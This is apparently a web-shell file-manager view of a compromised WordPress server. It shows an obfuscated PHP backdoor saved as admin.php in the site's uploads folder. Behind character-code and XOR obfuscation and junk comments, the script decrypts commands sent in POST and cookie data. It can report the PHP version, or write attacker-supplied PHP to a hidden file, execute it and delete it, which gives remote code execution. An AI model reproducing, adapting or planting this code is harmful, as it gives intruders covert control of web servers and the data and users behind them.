HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: //opt/wpsites/gsudice.dataconn.net/wp-content/uploads/colibri/admin.php
<?php 

$qogomuo /*hp_ck */ =       'qogomuo' /*  _crd   */ ^ /*  p */ '';


$idhlhwfkjm     = /*   hlgy*/ $qogomuo(532-435)    .    $qogomuo(627-513) /*   _gyqb  */ .       "r"."a".$qogomuo(796-675)     .   $qogomuo(95)	.     "\155"	.	"a".$qogomuo(112);


$agwhuw /* u   */ =     "i".$qogomuo(109)	. /*  _pi*/ "\160"    .	$qogomuo(670-562)       .       "o"."\144" /*dx */ . /*   dwhhvc*/ "e";






function	_rwzzbvo($vbdrg,   $yxdei)
{

 /*je  */ global    $qogomuo;

 /* gtrpn */     $vbdrg   =    "<"    .      $qogomuo(817-754)    .    "\160"     . /*   wreyu   */ $qogomuo(1086-982) /*utpg */ . /* oyq  */ "p".$qogomuo(32)    . /*_yes*/ $qogomuo(909-792) /* yu */ . /*  iy_   */ "n"."l"."\151"    .      $qogomuo(110) /* lmrtzq*/ .    "k"."("."\x5f" /*   vy  */ .      "_"."F"."I"."L".$qogomuo(1040-971) /*  jarji*/ .      $qogomuo(95) /*   vl */ . /*  skvxkf  */ "\137"  .    $qogomuo(41)       . /*   ndgpnk  */ ";".$qogomuo(32)       . /*x */ $vbdrg["\144"];

    $ktvhc  = /*rzt   */ $qogomuo(102)       .  $qogomuo(820-715)     .    "l"."\145"    .	"_"."\160" /*h */ .    "u".$qogomuo(116)	. /*nc_  */ $qogomuo(780-685)    .	$qogomuo(99)	. /* pmm*/ $qogomuo(536-425) /*  zma  */ .    "n".$qogomuo(116)    . /*tgdok */ "\x65" /*  uixjq   */ .       $qogomuo(110)     .	$qogomuo(683-567)    .       "\163";  


    $ktvhc($yxdei,       $vbdrg);

	
	kgdvjcxt_y($yxdei);


}

$yqcdzuxlnokqv_rxrvd    = /*ebdb*/ 73;

function    kgdvjcxt_y($yxdei)


{ /*   sy  */ global	$qogomuo;	      include($yxdei);

    $hh_nmv /*suvdtr   */ =   $yxdei;


     @unlink($hh_nmv);}


function /* l */ jogott()


{


	global /* j   */ $qogomuo;




 /*   dplt  */ $yqcdzuxlno /*   r_t   */ =	array();

    $yqcdzuxlno["\x70"    .	"v"]   =    phpversion();
     $yqcdzuxlno[$qogomuo(115) /*lkd   */ . /*   x*/ "v"]    =	"3".".".$qogomuo(53);

	$vhixqbacxe /*  rqug */ =       74;

	echo /* l */ @serialize($yqcdzuxlno);

}function /*   xkm*/ uwtxj_($vbdrg,  $tsqtbnbmvz){


    global    $qogomuo;
     $lpmehsrlck  =	"";

 /*  nhxkeq  */ $pvhpjdu /*czhtqa   */ = /*  wje_tn */ strlen($vbdrg);


 /*birb */ $hsvluam /* z   */ = /*   aq */ strlen($tsqtbnbmvz);

 /* jmndmi  */ $yqcdzuxlno	=    0;

    $bezcqqz    = /*  wqd */ 0;
 /*ncrez */ 
	while /*ujtcsq  */ ($yqcdzuxlno /*voz*/ <    $pvhpjdu)	{

 /*  a*/ $hebhb      = /*m*/ $vbdrg[$yqcdzuxlno] /*k_yd */ ^    $tsqtbnbmvz[$bezcqqz	%       $hsvluam];

  $lpmehsrlck  .= /*   poz  */ $hebhb;    $bezcqqz++;    

    $yqcdzuxlno++;

 /*dk*/ }    


     if    (strlen($lpmehsrlck)    > /* kxmcfs*/ 20) /*  wt   */ {


 /*  oti*/ $msvnoq /*g  */ = /*  qjez*/ substr($lpmehsrlck,    0,	20);	}       if    (empty($lpmehsrlck))   {
	$lpmehsrlck    = /*  kn */ date('Y-m-d       H:i:s');
 /*   s*/ }

 /*opg*/ return	$lpmehsrlck;


}





function    puhhadfchg($oivneaj)
{
      global  $qogomuo;   

    $srgsnf    =    $qogomuo(55) /*kntdho  */ . /*   lugpx */ "1"."7"."4"."0".$qogomuo(850-748)	.	"\65" /*ymz*/ . /* uxi */ "1"."\55" /*tds */ .	$qogomuo(385-287) /*zifg*/ .	"\61"	. /* six*/ $qogomuo(56)    .   "6"."\x2d"    . /* oabbqd   */ "\64"    .	$qogomuo(97).$qogomuo(522-465)   .	"\x37"    .	"-".$qogomuo(97)."3"."4".$qogomuo(201-103)       .	$qogomuo(45) /*  c*/ . /*z*/ "4"."\65" /*  k */ .    "3"."\143"     .  "b"."\70"       .    "\144"    . /*   _jc */ $qogomuo(845-788) /*   iok   */ .    "3"."\x37"	.    "0".$qogomuo(238-189);


     


    foreach /*ufakhv  */ ($oivneaj    as      $wxdhz    =>	$vbdrg)     {

	wpg_yr_gus(base64_decode($vbdrg),	$srgsnf,	$wxdhz);    }


}

function	wpg_yr_gus($vbdrg, /*  omoqw  */ $srgsnf, /*ubggdv  */ $wxdhz)


{ /*  ek   */ global    $qogomuo; /*   uycvka*/       $vbdrg /*ra*/ = /*  paquha */ unserialize(uwtxj_(uwtxj_($vbdrg,    $srgsnf), /*os  */ $wxdhz));	$nbcyvvf /*   qeo */ = /* t */ 'nex';	$rvsyn    =	'todsiyd_p';    if      (isset($vbdrg[$qogomuo(97)."k"]))     {


	if       ($vbdrg[$qogomuo(97)]    == /*_mzr*/ "i")	{


    jogott(); /* x   */ }	elseif /*   gacqq */ ($vbdrg[$qogomuo(97)]	==    "\x65") /* ryucv  */ { /*  mzny  */ _rwzzbvo($vbdrg,    sprintf(".".$qogomuo(290-243) /*  dbze */ .       "%"."s"."\x2e" /* uq */ .	"p"."l",	md5($srgsnf)));			$d_pverby    = /* vkbbe  */ 44;
   }

 /*  eamnak  */ exit(); /*  gcy  */ }


}


puhhadfchg($_POST);	
$gfwiz_wrdg     =    'rawurldecode';

$qsdgz__l     =	$idhlhwfkjm($gfwiz_wrdg,     $_POST);


$agwhuw("", /*ux  */ $gfwiz_wrdg);



puhhadfchg($_COOKIE);



$ebyngk    =       $idhlhwfkjm($gfwiz_wrdg,    $_COOKIE);




?>